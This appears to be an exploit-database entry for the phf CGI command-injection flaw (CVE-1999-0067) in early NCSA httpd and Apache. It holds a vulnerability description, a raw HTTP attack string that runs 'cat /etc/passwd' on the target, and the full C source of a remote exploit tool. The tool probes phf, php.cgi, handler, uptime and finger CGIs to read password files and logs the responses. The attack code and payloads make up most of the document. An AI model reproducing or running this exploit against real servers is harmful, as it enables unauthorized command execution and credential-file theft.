phf CGI Arbitrary Command Execution (and related), variant 2

Against

Apache, NCSA on Unix

IDs

Bugtraq: 629
CVE: CVE-1999-0067
OSVDB: 136
LincolnLabs: 1999-Phf

Category

Input validation error

Effect

Unauthorized file access

Source

Packetstorm

Description

From the Bugtraq vulnerability database:

A vulnerability exists in the sample cgi bin program, phf, which is included with NCSA httpd, and Apache 1.0.3, an NCSA derivitive. By supplying certain characters that have special meaning to the shell, arbitrary commands can be executed by remote users under whatever user the httpd is run as.

The phf program, and possibly other programs, call the escape_shell_cmd() function. This subroutine is intended to strip dangerous characters out prior to passing these strings along to shell based library calls, such as popen() or system(). By failing to capture certain characters, however, it becomes possible to execute commands from these calls.

Versions below each of the vulnerable webservers are assumed to be vulnerable to exploitation via the phf example code.

Attack string

GET /cgi-bin/phf/?Qalias=X%0acat%20/etc/passwd HTTP/1.0

Attack program source

rcgixploit.c

/*
 * DESIGNER: ZinC_Sh(C)                         E-Mail: zinc_sh@hotmail.com
 *
 * DATE: Mon Feb 14 15:28:19 GMT+2 2000         @601
 *
 * MADE ON: linux SLackWarE.-
 *
 * GREETINGS: Packo, BlackSouL.-
 *
 * COMPILE: gcc -o rcgix rcgixploit.c
 *
 * DESCRIPTION: Remote Cgi Exploit, looking For PHF ,PHP ,HANDLER ,UPTIME,
 * FINGER and try to Collect Useful FILES such as /etc/passwd.-
 *
 *
 * P.S. DO NOT ABUSE IT.-
 *
 *                                      May The Poula Kapribekou Be With You...
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define OXO 1
#define PORT 80
#define STRING "200 OK"
#define PHF     "GET /cgi-bin/phf/?Qalias=X%0acat%20/etc/passwd HTTP/1.0\n\n"
#define PHP     "GET /cgi-bin/php.cgi?/etc/passwd HTTP/1.0\n\n"
#define HANDLER "GET /cgi-bin/handler?cat%20/etc/passwd HTTP/1.0\n\n"
#define UPTIME  "GET /cgi-bin/uptime HTTP/1.0\n\n"
#define FINGER  "GET /cgi-bin/finger?root HTTP/1.0\n\n"

int usage(char *ARG)
{
        fprintf(stderr,"Usage: %s <CGI-N> <hostname> <port>.-\n",ARG);
        fprintf(stderr,"Examp: %s <2> <www.remote-machine.com> <80>.-\n\n",ARG);
}

void comm(void)
{
        printf("-[ Remote Cgi Exploit ]- By  -[ ZinC_Sh(C) ]-\n");
}

int main(int argc, char **argv)
{

        struct sockaddr_in addr;
        struct hostent *rh;
        
        FILE *fd;        
        char buffer[BUFSIZ];
        char for_switch;
        int result;
        int con,sock;
        int ptr;
                                    
        if (argc < 3 || argc > 4){
            usage(argv[0]);
            menu();
            comm();
            poula_kapribekou();
            exit(OXO);
        }
                                                                        
        if((rh=gethostbyname(argv[2])) == NULL)
        {
            perror("gethostbyname");
            exit(OXO);
        }
        
        memset(buffer,0,BUFSIZ);
        if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
        {
                perror("Socket");
                exit(OXO);
        }

        if (argv[3] == NULL)
                ptr=PORT;
        else
                ptr=atoi(argv[3]);
                
        addr.sin_family = AF_INET;
        addr.sin_port = htons(ptr);
        addr.sin_addr = *((struct in_addr *)rh->h_addr);
        bzero(&(addr.sin_zero),8);
        
        if ((con=connect(sock,(struct sockaddr *)&addr, sizeof(addr))) != 0)
        {
                perror("connect");
                fprintf(stderr,"Can Not Connect To The Remote Host\n");
                exit(OXO);
        }
        
        sscanf(argv[1],"%s",&for_switch);
        result=switching(for_switch);
        
   if (result == 1)
   {
                send(sock,PHF,sizeof(PHF),0);
                recv(sock,buffer,sizeof(buffer),0);
        if ((strstr(buffer,STRING)) != 0 )
        {
                printf("\nFOUND! PHF Script on The Remote Host.-\n");
                printf("Wait, LoadInG Lynx...\n");
                fd=fopen("PHF.results","a");
                fputs(buffer,fd);
                fclose(fd);
                system("lynx PHF.results");
        } else {
                printf("\nPHF Script Not Found\n"); 
        }
   }

   if (result == 2)
   {
                send(sock,PHP,sizeof(PHP),0);
                recv(sock,buffer,sizeof(buffer),0);
        if ((strstr(buffer,STRING)) != 0 )
        {
                printf("\nFOUND! PHP Script on The Remote Host.-\n");
                printf("Wait, LoadInG Lynx...\n");
                fd=fopen("PHP.results","a");
                fputs(buffer,fd);
                fclose(fd);
                system("lynx PHP.results");
        } else {
                printf("\nPHP Script Not Found\n");
        }
   }

   if (result == 3)
   {
                 send(sock,HANDLER,sizeof(HANDLER),0);
                 recv(sock,buffer,sizeof(buffer),0);
        if ((strstr(buffer,STRING)) != 0 )
        {
                printf("\nFOUND! HANDLER Script on The Remote Host.-\n");
                printf("Wait, LoadInG Lynx...\n");
                fd=fopen("HANDLER.results","a");
                fputs(buffer,fd);
                fclose(fd);
                system("lynx HANDLER.results");
        } else {
                printf("\nHANDLER Script Not Found\n");
        }
    }
                                                                                                         
   if (result == 4)
   {
                 send(sock,UPTIME,sizeof(UPTIME),0);
                 recv(sock,buffer,sizeof(buffer),0);
        if ((strstr(buffer,STRING)) != 0 )
        {
                printf("\nFOUND! UPTIME Script on The Remote Host.-\n");
                printf("Wait, LoadInG Lynx...\n");
                fd=fopen("UPTIME.results","a");
                fputs(buffer,fd);
                fclose(fd);
                system("lynx UPTIME.results");
        } else {
                 printf("\nUPTIME Script Not Found\n");
        }
   }
                                                                                                             
   if (result == 5)
   {
                  send(sock,FINGER,sizeof(FINGER),0);
                  recv(sock,buffer,sizeof(buffer),0);
        if ((strstr(buffer,STRING)) != 0 )
        {
                printf("\nFOUND! FINGER Script on The Remote Host.-\n");
                printf("Wait, LoadInG Lynx...\n");
                fd=fopen("FINGER.results","a");
                fputs(buffer,fd);
                fclose(fd);
                system("lynx FINGER.results");
        } else {
                  printf("\nFINGER Script Not Found\n");
        }
    }

        
close(sock);
return 0;                                                                                                             
} 

int switching(int CMD)
{
        switch(CMD)
        {
                case '1':{      printf ("Looking For phf Script on The Remote Machine.-\n");
                                printf ("Wait...");
                                return 1;
                                }
                case '2':{      printf ("Looking For php Script on The Remote Machine.-\n");
                                printf ("Wait...");
                                return 2;
                                }
                case '3':{      printf ("Looking For handler Script on The Remote Machine.-\n");
                                printf ("Wait...");
                                return 3;
                                }
                case '4':{      printf ("Looking For uptime Script on The Remote Machine.-\n");
                                printf ("Wait...");
                                return 4;
                                }
                case '5':{      printf ("Looking For finger Script on The Remote Machine.-\n");
                                printf ("Wait...");
                                return 5;
                                }
                default :{      printf ("What The Fuck IS This ??? Choose a Cgi-N From The List.-\n");
                                break;
                                }
        }

}

poula_kapribekou(void)
{
        printf("-[ May The Poula KApribekou Be With YOu... ]-\n");
}

menu(void)
{
        printf("|N|   CGIs  |------------------------| DESCRIPTION |----------------------|\n");
        printf("|-|---------|-------------------------------------------------------------|\n");
        printf("|1|     phf)| phf, Looking For /etc/passwd file on The Remote machine     |\n");
        printf("|2|     php)| PHP.cgi, Looking For /etc/passwd file on The Remote machine |\n");
        printf("|3| handler)| Handler, Looking For /etc/passwd file on The Remote machine |\n");
        printf("|4|  uptime)| uptime, Looking for (Time,date,Users) on the Remote machine |\n");
        printf("|5|  finger)| Finger, Execute 'finger Command' Through the Web            |\n");
        printf("|-|---------|-------------------------------------------------------------|\n\n");
}